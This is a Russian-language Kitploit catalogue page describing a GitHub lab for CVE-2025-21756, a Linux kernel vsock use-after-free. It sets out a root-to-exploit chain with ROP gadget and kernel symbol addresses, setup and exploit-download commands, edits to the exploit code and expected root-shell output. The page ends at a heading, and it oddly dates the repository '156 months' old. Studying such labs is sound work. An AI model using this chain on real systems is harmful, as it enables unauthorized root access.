Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-21756 — Образовательная лаборатория, демонстрирующая эксплуатацию use-after-free (UAF) в подсистеме vsock ядра Linux для локального повышения привилегий до root, с автоматической настройкой и анализом ROP-цепочек. | Kitploit
Инструменты/GitHubGitHub/h3raklez/cve-2025-21756
Повышение привилегийАнализ уязвимостейЭксплуатацияCTFОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubh3raklez/cve-2025-21756

CVE-2025-21756

Образовательная лаборатория, демонстрирующая эксплуатацию use-after-free (UAF) в подсистеме vsock ядра Linux для локального повышения привилегий до root, с автоматической настройкой и анализом ROP-цепочек.

Репозиторий
156 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-21756 — Лаборатория эксплуатации

Только для образовательных целей и авторизованных исследований безопасности.

Описание

CVE-2025-21756 — это use-after-free (UAF) уязвимость в подсистеме vsock (Virtual Socket) ядра Linux, раскрытая 26 февраля 2025 года. Она позволяет локальному атакующему повысить привилегии до root на уязвимых системах Linux.

  • CVSS v3.1: 7.8 (ВЫСОКИЙ)
  • Vector: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • CWE: CWE-416 (Use-After-Free)
  • Affected component: net/vmw_vsock/af_vsock.c
  • Affected kernel: Linux 6.6.75 (и более ранние незапатченные версии)

Корневая причина

Ошибка возникает во время переназначения транспорта сокета vsock. Уязвимая последовательность:

  1. vsock_create() создает сокет с refcnt=2 и вставляет его в список несвязанных сокетов
  2. transport->release() вызывает vsock_remove_bound() без проверки, был ли сокет перемещен в список связанных, что некорректно уменьшает refcnt
  3. vsock_bind() предполагает, что сокет все еще в списке несвязанных, и снова вызывает _vsock_remove_bound()
  4. refcnt преждевременно достигает 0 → объект vsock освобождается, пока на него еще есть ссылки → UAF

Примененный патч

void vsock_remove_sock(struct vsock_sock *vsk)
{
-    vsock_remove_bound(vsk);
+    if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+        vsock_remove_bound(vsk);
     vsock_remove_connected(vsk);
}

Цепочка эксплуатации

  1. Запуск UAF — Два последовательных вызова connect() с CID, которые приводят к разным транспортам, вызывают преждевременное освобождение объекта vsock, пока он все еще связан в vsock_bind_table
  2. Освобождение slab — Списки частичных SLUB очищаются, чтобы вернуть страницу жертвы аллокатору страниц
  3. Распыление страниц — Освобожденная страница перехватывается с помощью unix_dgram_sendmsg с сообщениями порядка 2 (MIGRATE_UNMOVABLE), заполняя ее контролируемыми данными
  4. Побочный канал — vsock_diag_dump (не защищенный AppArmor) используется как побочный канал для обнаружения момента перехвата страницы и определения точного смещения объекта жертвы внутри страницы
  5. Перехват RIP — sk->sk_prot перезаписывается для указания на udp_prot+0x1c0 (udp_abort), который при вызове активирует sk->sk_error_report(sk), чей указатель перезаписан гаджетом смещения стека
  6. Цепочка ROP — Выполняется commit_creds(init_cred) для присвоения процессу корневых учетных данных, за которым следует трамплин KPTI для возврата в пользовательское пространство
  7. Корневая оболочка — execve("/bin/sh") с uid=0

Требования

  • Debian 12 or 13 x86_64 (протестировано на Debian 13)
  • Обычный пользователь с доступом sudo
  • Минимальный объем ОЗУ: 1 ГБ
  • Свободное место на диске: 10 ГБ

Настройка лаборатории

# Download the setup script
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh

# Run as a normal user (not root)
./setup-lab.sh

Скрипт автоматически обрабатывает:

  • Установку sudo, если он отсутствует
  • Установку всех необходимых зависимостей (build-essential, qemu-system-x86, bc, pahole и т.д.)
  • Загрузку официальной среды Google kCTF (ядро lts-6.6.75, rootfs, ramdisk)
  • Загрузку эксплойта ktranowl и применение необходимых патчей
  • Компиляцию эксплойта
  • Создание среды выполнения с правильными параметрами
  • Создание run_lab.sh как единой точки входа

Запуск лаборатории

cd ~/cve-2025-21756-lab
./run_lab.sh

После загрузки среды выполните внутри нее:

wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit

Ожидаемый вывод

[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)

Для выхода: Ctrl-A X


Модификации, примененные к оригинальному эксплойту

Базовый эксплойт взят из ktranowl. Были применены следующие модификации для его работы в этой среде:

1. KASLR disabled

Модификация: nokaslr добавлен в параметры загрузки ядра.

Причина: Оригинальный эксплойт обходит KASLR с помощью EntryBleed — метода побочного канала по времени TLB, требующего точного времени CPU. В среде вложенной виртуализации точность rdtsc недостаточна для надежной работы EntryBleed, что приводит к неправильному kbase, из-за чего все адреса, вычисленные с помощью ADDRESS(), оказываются неверными. Отключение KASLR гарантирует, что ядро всегда загружается по адресу 0xffffffff81000000, и жестко заданные смещения в эксплойте всегда корректны.

2. user_rip changed from modeprobe_exec to check_root

Модификация в exploit.c:

// Before
uint64_t user_rip = (uint64_t)modeprobe_exec;

// After
uint64_t user_rip = (uint64_t)check_root;

Причина: modeprobe_exec — это метод повышения привилегий, использованный в оригинальном эксплойте для удаленной среды kCTF. Он требует аргументов командной строки (IP и порт удаленного сервера) и внешнего сетевого подключения. Без этих аргументов процесс аварийно завершается с GPF при попытке чтения argv[1]. check_root напрямую проверяет uid и выполняет /bin/sh, что достаточно для демонстрации эксплуатации в локальной среде.

3. Removed modeprobe_exec call inside check_root

Модификация в exploit.c:

void check_root() {
    if (getuid() == 0) {
        puts("[*] I AM ROOT");
-       modeprobe_exec();        // removed
        char binsh[] = "/bin/sh";
        char* const argv[] = {binsh, NULL};
        execve("/bin/sh", argv, 0);
    }
}

Причина: Даже при указании user_rip на check_root, эта функция внутренне снова вызывала modeprobe_exec перед выполнением /bin/sh. Без необходимых аргументов этот вызов приводил к GPF, и процесс завершался без открытия оболочки, несмотря на то, что commit_creds уже успешно повысил привилегии.


Анализ цепочки ROP и символов

В процессе настройки лаборатории все символы ядра и гаджеты ROP были проверены на соответствие официальному ядру kCTF lts-6.6.75, чтобы подтвердить их валидность для этой среды.

ROP gadgets

Три гаджета, использованные в эксплойте, были извлечены из официального ядра с помощью ROPgadget из бинарного файла vmlinux и подтверждены как точно соответствующие жестко заданным значениям:

ГаджетАдресНазначение
pop rax ; and eax, ... ; pop rsp ; jmp ...0xffffffff8122ad32Смещение стека — перемещает RSP в начало управляемого объекта vsock
add rsp, 0xb8 ; jmp ...0xffffffff8170292cПродвижение стека — пропускает зарезервированные поля для достижения цепочки ROP
pop rdi ; ret0xffffffff8115e4f9Загружает первый аргумент для commit_creds(init_cred)

Ни один из них не потребовал модификации.

Kernel symbols

Следующие символы были проверены на соответствие /proc/kallsyms внутри ядра (с nokaslr смещения фиксированы):

СимволАдресПримечания
vsock_bind_table[0x7a]0xffffffff84bc6280Якорь побочного канала — слот списка vsock, куда попадает объект жертвы
init_net0xffffffff84bb1f80Используется для проверки поддельного объекта vsock через vsock_diag_dump
commit_creds0xffffffff811fdac0Назначает корневые учетные данные текущему процессу
init_cred0xffffffff83c74d80Структура учетных данных с uid=gid=0, с фиксированным смещением от базы ядра
kpti_trampoline0xffffffff826011a6swapgs_restore_regs_and_return_to_usermode+0x36 — восстанавливает CR3 и возвращается в пользовательское пространство
address_contain_udp_abort0xffffffff83ef28e0udp_prot + 0x1c0 — см. примечание ниже

Все значения совпали с оригинальными в эксплойте. Модификации не потребовались.

Note on address_contain_udp_abort

Скачать инструмент